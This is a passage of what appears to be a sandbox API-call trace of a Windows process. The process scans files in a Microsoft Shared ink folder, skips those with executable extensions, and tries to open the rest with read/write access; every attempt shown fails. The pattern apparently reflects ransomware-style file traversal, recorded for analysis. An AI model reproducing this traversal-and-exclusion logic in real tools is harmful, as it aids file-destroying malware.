	[0078.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll", lpSrch=".dll") returned=".dll"
	[0078.595] lstrlenW (lpString=".dll") returned 4
	[0078.595] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0740 | out: hHeap=0x300000) returned 1
	[0078.595] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8ee0 | out: hHeap=0x300000) returned 1
	[0078.595] RtlWakeConditionVariable () returned 0x365f70
	[0078.595] GetCurrentThreadId () returned 0xaf0
	[0078.595] GetCurrentThreadId () returned 0xaf0
	[0078.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8ee0
	[0078.595] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b07d8 | out: hHeap=0x300000) returned 1
	[0078.595] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a65f8 | out: hHeap=0x300000) returned 1
	[0078.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b07d8
	[0078.595] lstrlenW (lpString=".scr") returned 4
	[0078.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe", lpSrch=".scr") returned 0x0
	[0078.595] lstrlenW (lpString=".cmd") returned 4
	[0078.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe", lpSrch=".cmd") returned 0x0
	[0078.595] lstrlenW (lpString=".dll") returned 4
	[0078.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe", lpSrch=".dll") returned 0x0
	[0078.595] lstrlenW (lpString=".bat") returned 4
	[0078.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe", lpSrch=".bat") returned 0x0
	[0078.596] lstrlenW (lpString=".cpl") returned 4
	[0078.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe", lpSrch=".cpl") returned 0x0
	[0078.596] lstrlenW (lpString=".sys") returned 4
	[0078.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe", lpSrch=".sys") returned 0x0
	[0078.596] lstrlenW (lpString=".msc") returned 4
	[0078.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe", lpSrch=".msc") returned 0x0
	[0078.596] lstrlenW (lpString=".com") returned 4
	[0078.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe", lpSrch=".com") returned 0x0
	[0078.596] lstrlenW (lpString=".lnk") returned 4
	[0078.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe", lpSrch=".lnk") returned 0x0
	[0078.596] lstrlenW (lpString=".msp") returned 4
	[0078.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe", lpSrch=".msp") returned 0x0
	[0078.596] lstrlenW (lpString=".pif") returned 4
	[0078.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe", lpSrch=".pif") returned 0x0
	[0078.596] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe", lpSrch="msp\r\n.pif") returned 0x0
	[0078.596] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkwatson.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b07d8 | out: hHeap=0x300000) returned 1
	[0078.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8ee0 | out: hHeap=0x300000) returned 1
	[0078.596] RtlWakeConditionVariable () returned 0x365f70
	[0078.596] GetCurrentThreadId () returned 0xaf0
	[0078.596] GetCurrentThreadId () returned 0xaf0
	[0078.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4268
	[0078.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4508 | out: hHeap=0x300000) returned 1
	[0078.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6630 | out: hHeap=0x300000) returned 1
	[0078.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4508
	[0078.597] lstrlenW (lpString=".scr") returned 4
	[0078.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe", lpSrch=".scr") returned 0x0
	[0078.597] lstrlenW (lpString=".cmd") returned 4
	[0078.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe", lpSrch=".cmd") returned 0x0
	[0078.597] lstrlenW (lpString=".dll") returned 4
	[0078.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe", lpSrch=".dll") returned 0x0
	[0078.597] lstrlenW (lpString=".bat") returned 4
	[0078.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe", lpSrch=".bat") returned 0x0
	[0078.597] lstrlenW (lpString=".cpl") returned 4
	[0078.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe", lpSrch=".cpl") returned 0x0
	[0078.597] lstrlenW (lpString=".sys") returned 4
	[0078.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe", lpSrch=".sys") returned 0x0
	[0078.597] lstrlenW (lpString=".msc") returned 4
	[0078.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe", lpSrch=".msc") returned 0x0
	[0078.597] lstrlenW (lpString=".com") returned 4
	[0078.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe", lpSrch=".com") returned 0x0
	[0078.597] lstrlenW (lpString=".lnk") returned 4
	[0078.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe", lpSrch=".lnk") returned 0x0
	[0078.597] lstrlenW (lpString=".msp") returned 4
	[0078.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe", lpSrch=".msp") returned 0x0
	[0078.597] lstrlenW (lpString=".pif") returned 4
	[0078.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe", lpSrch=".pif") returned 0x0
	[0078.597] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe", lpSrch="msp\r\n.pif") returned 0x0
	[0078.598] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.598] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4508 | out: hHeap=0x300000) returned 1
	[0078.598] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4268 | out: hHeap=0x300000) returned 1
	[0078.598] RtlWakeConditionVariable () returned 0x365f70
	[0078.598] GetCurrentThreadId () returned 0xaf0
	[0078.598] GetCurrentThreadId () returned 0xaf0
	[0078.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8ee0
	[0078.598] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0870 | out: hHeap=0x300000) returned 1
	[0078.598] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6668 | out: hHeap=0x300000) returned 1
	[0078.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0870
	[0078.598] lstrlenW (lpString=".scr") returned 4
	[0078.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml", lpSrch=".scr") returned 0x0
	[0078.598] lstrlenW (lpString=".cmd") returned 4
	[0078.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml", lpSrch=".cmd") returned 0x0
	[0078.598] lstrlenW (lpString=".dll") returned 4
	[0078.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml", lpSrch=".dll") returned 0x0
	[0078.598] lstrlenW (lpString=".bat") returned 4
	[0078.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml", lpSrch=".bat") returned 0x0
	[0078.598] lstrlenW (lpString=".cpl") returned 4
	[0078.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml", lpSrch=".cpl") returned 0x0
	[0078.598] lstrlenW (lpString=".sys") returned 4
	[0078.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml", lpSrch=".sys") returned 0x0
	[0078.598] lstrlenW (lpString=".msc") returned 4
	[0078.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml", lpSrch=".msc") returned 0x0
	[0078.599] lstrlenW (lpString=".com") returned 4
	[0078.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml", lpSrch=".com") returned 0x0
	[0078.599] lstrlenW (lpString=".lnk") returned 4
	[0078.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml", lpSrch=".lnk") returned 0x0
	[0078.599] lstrlenW (lpString=".msp") returned 4
	[0078.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml", lpSrch=".msp") returned 0x0
	[0078.599] lstrlenW (lpString=".pif") returned 4
	[0078.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml", lpSrch=".pif") returned 0x0
	[0078.599] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.599] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.599] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0870 | out: hHeap=0x300000) returned 1
	[0078.599] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8ee0 | out: hHeap=0x300000) returned 1
	[0078.599] RtlWakeConditionVariable () returned 0x365f70
	[0078.599] GetCurrentThreadId () returned 0xaf0
	[0078.599] GetCurrentThreadId () returned 0xaf0
	[0078.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8ee0
	[0078.599] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0908 | out: hHeap=0x300000) returned 1
	[0078.599] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a66a0 | out: hHeap=0x300000) returned 1
	[0078.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0908
	[0078.599] lstrlenW (lpString=".scr") returned 4
	[0078.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml", lpSrch=".scr") returned 0x0
	[0078.600] lstrlenW (lpString=".cmd") returned 4
	[0078.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml", lpSrch=".cmd") returned 0x0
	[0078.600] lstrlenW (lpString=".dll") returned 4
	[0078.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml", lpSrch=".dll") returned 0x0
	[0078.600] lstrlenW (lpString=".bat") returned 4
	[0078.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml", lpSrch=".bat") returned 0x0
	[0078.600] lstrlenW (lpString=".cpl") returned 4
	[0078.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml", lpSrch=".cpl") returned 0x0
	[0078.600] lstrlenW (lpString=".sys") returned 4
	[0078.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml", lpSrch=".sys") returned 0x0
	[0078.600] lstrlenW (lpString=".msc") returned 4
	[0078.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml", lpSrch=".msc") returned 0x0
	[0078.600] lstrlenW (lpString=".com") returned 4
	[0078.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml", lpSrch=".com") returned 0x0
	[0078.600] lstrlenW (lpString=".lnk") returned 4
	[0078.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml", lpSrch=".lnk") returned 0x0
	[0078.600] lstrlenW (lpString=".msp") returned 4
	[0078.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml", lpSrch=".msp") returned 0x0
	[0078.600] lstrlenW (lpString=".pif") returned 4
	[0078.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml", lpSrch=".pif") returned 0x0
	[0078.600] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.600] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0908 | out: hHeap=0x300000) returned 1
	[0078.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8ee0 | out: hHeap=0x300000) returned 1
	[0078.601] RtlWakeConditionVariable () returned 0x365f70
	[0078.601] GetCurrentThreadId () returned 0xaf0
	[0078.601] GetCurrentThreadId () returned 0xaf0
	[0078.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8ee0
	[0078.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b09a0 | out: hHeap=0x300000) returned 1
	[0078.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a66d8 | out: hHeap=0x300000) returned 1
	[0078.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b09a0
	[0078.601] lstrlenW (lpString=".scr") returned 4
	[0078.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml", lpSrch=".scr") returned 0x0
	[0078.601] lstrlenW (lpString=".cmd") returned 4
	[0078.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml", lpSrch=".cmd") returned 0x0
	[0078.613] lstrlenW (lpString=".dll") returned 4
	[0078.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml", lpSrch=".dll") returned 0x0
	[0078.613] lstrlenW (lpString=".bat") returned 4
	[0078.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml", lpSrch=".bat") returned 0x0
	[0078.613] lstrlenW (lpString=".cpl") returned 4
	[0078.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml", lpSrch=".cpl") returned 0x0
	[0078.613] lstrlenW (lpString=".sys") returned 4
	[0078.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml", lpSrch=".sys") returned 0x0
	[0078.614] lstrlenW (lpString=".msc") returned 4
	[0078.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml", lpSrch=".msc") returned 0x0
	[0078.614] lstrlenW (lpString=".com") returned 4
	[0078.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml", lpSrch=".com") returned 0x0
	[0078.614] lstrlenW (lpString=".lnk") returned 4
	[0078.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml", lpSrch=".lnk") returned 0x0
	[0078.614] lstrlenW (lpString=".msp") returned 4
	[0078.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml", lpSrch=".msp") returned 0x0
	[0078.614] lstrlenW (lpString=".pif") returned 4
	[0078.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml", lpSrch=".pif") returned 0x0
	[0078.614] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.614] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.622] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b09a0 | out: hHeap=0x300000) returned 1
	[0078.622] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8ee0 | out: hHeap=0x300000) returned 1
	[0078.622] RtlWakeConditionVariable () returned 0x365f70
	[0078.622] GetCurrentThreadId () returned 0xaf0
	[0078.622] GetCurrentThreadId () returned 0xaf0
	[0078.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8ee0
	[0078.622] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0dc8 | out: hHeap=0x300000) returned 1
	[0078.623] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a68b8 | out: hHeap=0x300000) returned 1
	[0078.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0dc8
	[0078.623] lstrlenW (lpString=".scr") returned 4
	[0078.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml", lpSrch=".scr") returned 0x0
	[0078.623] lstrlenW (lpString=".cmd") returned 4
	[0078.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml", lpSrch=".cmd") returned 0x0
	[0078.623] lstrlenW (lpString=".dll") returned 4
	[0078.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml", lpSrch=".dll") returned 0x0
	[0078.623] lstrlenW (lpString=".bat") returned 4
	[0078.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml", lpSrch=".bat") returned 0x0
	[0078.623] lstrlenW (lpString=".cpl") returned 4
	[0078.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml", lpSrch=".cpl") returned 0x0
	[0078.623] lstrlenW (lpString=".sys") returned 4
	[0078.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml", lpSrch=".sys") returned 0x0
	[0078.623] lstrlenW (lpString=".msc") returned 4
	[0078.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml", lpSrch=".msc") returned 0x0
	[0078.623] lstrlenW (lpString=".com") returned 4
	[0078.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml", lpSrch=".com") returned 0x0
	[0078.623] lstrlenW (lpString=".lnk") returned 4
	[0078.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml", lpSrch=".lnk") returned 0x0
	[0078.623] lstrlenW (lpString=".msp") returned 4
	[0078.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml", lpSrch=".msp") returned 0x0
	[0078.623] lstrlenW (lpString=".pif") returned 4
	[0078.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml", lpSrch=".pif") returned 0x0
	[0078.624] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.624] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.632] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0dc8 | out: hHeap=0x300000) returned 1
	[0078.632] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8ee0 | out: hHeap=0x300000) returned 1
	[0078.632] RtlWakeConditionVariable () returned 0x365f70
	[0078.632] GetCurrentThreadId () returned 0xaf0
	[0078.632] GetCurrentThreadId () returned 0xaf0
	[0078.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8ee0
	[0078.632] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1028 | out: hHeap=0x300000) returned 1
	[0078.632] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6998 | out: hHeap=0x300000) returned 1
	[0078.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1028
	[0078.632] lstrlenW (lpString=".scr") returned 4
	[0078.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml", lpSrch=".scr") returned 0x0
	[0078.632] lstrlenW (lpString=".cmd") returned 4
	[0078.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml", lpSrch=".cmd") returned 0x0
	[0078.632] lstrlenW (lpString=".dll") returned 4
	[0078.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml", lpSrch=".dll") returned 0x0
	[0078.632] lstrlenW (lpString=".bat") returned 4
	[0078.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml", lpSrch=".bat") returned 0x0
	[0078.632] lstrlenW (lpString=".cpl") returned 4
	[0078.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml", lpSrch=".cpl") returned 0x0
	[0078.632] lstrlenW (lpString=".sys") returned 4
	[0078.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml", lpSrch=".sys") returned 0x0
	[0078.633] lstrlenW (lpString=".msc") returned 4
	[0078.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml", lpSrch=".msc") returned 0x0
	[0078.633] lstrlenW (lpString=".com") returned 4
	[0078.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml", lpSrch=".com") returned 0x0
	[0078.633] lstrlenW (lpString=".lnk") returned 4
	[0078.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml", lpSrch=".lnk") returned 0x0
	[0078.633] lstrlenW (lpString=".msp") returned 4
	[0078.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml", lpSrch=".msp") returned 0x0
	[0078.633] lstrlenW (lpString=".pif") returned 4
	[0078.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml", lpSrch=".pif") returned 0x0
	[0078.633] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.633] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.648] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1028 | out: hHeap=0x300000) returned 1
	[0078.648] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8ee0 | out: hHeap=0x300000) returned 1
	[0078.648] RtlWakeConditionVariable () returned 0x365f70
	[0078.648] GetCurrentThreadId () returned 0xaf0
	[0078.648] GetCurrentThreadId () returned 0xaf0
	[0078.648] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8ee0
	[0078.648] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1450 | out: hHeap=0x300000) returned 1
	[0078.648] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6b58 | out: hHeap=0x300000) returned 1
	[0078.648] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1450
	[0078.648] lstrlenW (lpString=".scr") returned 4
	[0078.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml", lpSrch=".scr") returned 0x0
	[0078.648] lstrlenW (lpString=".cmd") returned 4
	[0078.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml", lpSrch=".cmd") returned 0x0
	[0078.649] lstrlenW (lpString=".dll") returned 4
	[0078.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml", lpSrch=".dll") returned 0x0
	[0078.649] lstrlenW (lpString=".bat") returned 4
	[0078.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml", lpSrch=".bat") returned 0x0
	[0078.649] lstrlenW (lpString=".cpl") returned 4
	[0078.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml", lpSrch=".cpl") returned 0x0
